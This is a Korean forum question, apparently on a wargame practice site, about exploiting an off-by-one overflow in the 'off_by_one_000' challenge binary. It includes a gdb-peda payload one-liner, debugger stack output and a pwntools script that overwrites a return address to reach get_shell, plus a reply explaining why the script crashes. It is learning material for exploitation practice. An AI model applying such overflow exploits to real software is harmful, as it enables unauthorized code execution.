payload offset 관련 질문

get_shell의 주소가 0x80485db이고, ebp가 input에 의해 변조되어 main의 종료 후 cpy 의 buffer주소에서 20 떨어진주소가 ret역할을 한다는 걸 알았습니다.

따라서
gdb-peda$ r <<< $(python -c 'print "a"*20 + "\xdb\x85\x04\x08" + "a"*256')이렇게 디버거에서 input을 넣었고

   0x80486b0 <main+64>: mov    eax,0x0
   0x80486b5 <main+69>: leave
=> 0x80486b6 <main+70>: ret
   0x80486b7:   xchg   ax,ax
   0x80486b9:   xchg   ax,ax
   0x80486bb:   xchg   ax,ax
   0x80486bd:   xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd204 --> 0x80485db (<get_shell>:    push   ebp)
0004| 0xffffd208 ('a' <repeats 164 times>)
0008| 0xffffd20c ('a' <repeats 160 times>)
0012| 0xffffd210 ('a' <repeats 156 times>)
0016| 0xffffd214 ('a' <repeats 152 times>)
0020| 0xffffd218 ('a' <repeats 148 times>)
0024| 0xffffd21c ('a' <repeats 144 times>)
0028| 0xffffd220 ('a' <repeats 140 times>)

이렇게 main이 종료되자 get_shell로 점프하는 것을 볼 수 있습니다.
이 점에서 착안하여

from pwn import*

payload = ''
payload += 'a'*20
p=process('./off_by_one_000')
e =ELF('./off_by_one_000')
get_shell_addr = e.symbols['get_shell']
payload += p32(get_shell_addr)
payload += 'a'*0x100
p.sendline(payload)
p.interactive()

와 같은 공격코드를사용했으나

 Switching to interactive mode
Name: Name: aaaaaaaaaaaaaaaaۅ\x04aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[*] Got EOF while reading in interactive
$ id
[*] Process './off_by_one_000' stopped with exit code -11 (SIGSEGV) (pid 550)

와 같이 셸이 실행되지 않고 종료됩니다.

디버거로 분석한 것과 offset 차이가 있는건가요?

#pwnable
작성자 정보
답변 1
avatar
m0nd2y
Open Beta Tester

ebp가 input으로 덮힌경우 stack의 특정한 주소가 아닌 임의 주소로 jmp한다는 점을 고려하시면 좋을 것 같습니다 :)
이유는 추가로 ebp값은 랜덤이라서 어느지점으로 이동할지 사용자가 특정할 수 없습닏다.

2020.08.05. 08:25
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기